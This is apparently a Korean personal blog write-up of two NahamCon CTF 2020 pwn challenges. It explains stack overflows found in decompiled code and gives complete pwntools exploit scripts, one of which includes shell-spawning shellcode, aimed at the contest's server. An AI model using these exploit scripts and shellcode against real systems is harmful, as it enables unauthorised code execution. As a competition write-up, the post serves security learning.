CTF/2020

NahamCon CTF

거의 끝나기 직전에? 참여해서 포너블 2문제 정도 풀었다.

문제수도 많고 너무 어려운 정도도 아니여서 좀더 빨리 알았으면....

SOLVED

Binary Exploitation

Dangerous

signed __int64 __usercall main@<rax>(char **a1@<rsi>, char **a2@<rdx>, __int64 a3@<rbp>)
{
  __int64 v3; // rax
  signed __int64 result; // rax
  signed __int64 v5; // [rsp-218h] [rbp-218h]
  signed __int64 v6; // [rsp-210h] [rbp-210h]
  signed __int64 v7; // [rsp-208h] [rbp-208h]
  signed __int64 v8; // [rsp-200h] [rbp-200h]
  signed __int64 v9; // [rsp-1F8h] [rbp-1F8h]
  __int64 v10; // [rsp-1F0h] [rbp-1F0h]
  __int64 v11; // [rsp-1E8h] [rbp-1E8h]
  char v12; // [rsp-19h] [rbp-19h]
  __int64 v13; // [rsp-10h] [rbp-10h]
  __int64 v14; // [rsp-8h] [rbp-8h]

  puts_("What's your name?");
  v3 = strlen_(&v5);
  v13 = read_(0LL, &v5 + v3, 512LL);
  if ( v13 > 0 )
  {
    v12 = 0;
    puts_(&v5);
    puts_(off_404058);
    result = 0LL;
  }
  else
  {
    puts_("Uh-oh... something's not right... good luck...");
    result = 1LL;
  }
  return result;
}

main함수는 위와 같다 (중요한 부분만 남겨두었다.)

원래 read(0,v5,512)로 호출을 하면 ret를 overwrite할 수 없지만 v3만큼 더해진 부분에서 입력이 시작되기 때문에 ret overwrite가능하다. ret를 0x401312로 overwrite해주어 flag를 얻으면된다.

from pwn import *

# p=process("dangerous")
p=remote("jh2i.com", 50011)
magic = 0x401312

py = ''
py += 'A'*497
py += p64(magic)

p.sendlineafter("name?", py)

p.interactive()

Syrup

fn1:
push    rbp
mov     rbp, rsp
mov     eax, 0DEADh
xor     rax, 0BEEFh
push    rax
sub     rbp, 8
sub     rbp, 400h
mov     eax, 0
mov     edi, 0          ; fd
mov     rsi, rbp        ; buf
mov     edx, 800h       ; count
syscall                 ; LINUX - sys_read
pop     rax
xor     rax, 0BEEFh
cmp     rax, 0DEADh
jnz     short nope
pop     rbp
retn

fn1역할은 다음과 같다.

  • read(0,rbp,800h)
    • rbp를 408정도 늘리지만 최대 800만큼 입력받아 오버플로우가 발생한다.
  • pop rax -> xor rax, BEEFh -> cmp rax, DEADh
    • rax에 6042h 값 넣어주면 nope으로 jmp하지 않는다.
fn2:
push    rbp
mov     rbp, rsp
pop     rax
mov     rdi, offset fail ; "Nope.\n"
syscall                 ; LINUX -
pop     rbp
retn

fn2에서는 rax를 pop한 후 rdi에 fail 주소 넣어주고 syscall을 해주게 된다.

이 문제는 요 fn2를 이용하는것이 핵심이다.

문제는 쉽게 fail에 shellcode를 저장한 후 ret에 fail 주소로 overwrite해주면 쉽게 풀린다.

처음에는 execve니 뭐니 생각했었는데 굳이 어렵게 생각할 필요 없이 shellcode로 이지 하게 풀린다.

참고로 문제에 /bin/sh이 그대로 박혀있는 거 보니까 아마 제작자가 의도한 풀이가 쉘코드가 아닐 수도 있다.

from pwn import *
p=remote("jh2i.com",50036)
# p=process("./syrup")
key = 0x6042
fail = 0x402011
read = 0x40105d
sy = 0x401004
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

py = ''
py += 'A'*1024
py += p64(key)
py += p64(fail) #pop rbp
py += p64(read)

py += p64(key)
py += p64(0)
py += p64(fail)

p.sendlineafter("me?",py)

p.sendline(shellcode)

p.interactive()

'CTF > 2020' 카테고리의 다른 글

Redpwn CTF  (0) 2020.06.26
DefenitCTF 후기  (0) 2020.06.08
angstormCTF library_in_c (64bit fsb)  (0) 2020.03.21
angstormCTF 2020  (0) 2020.03.19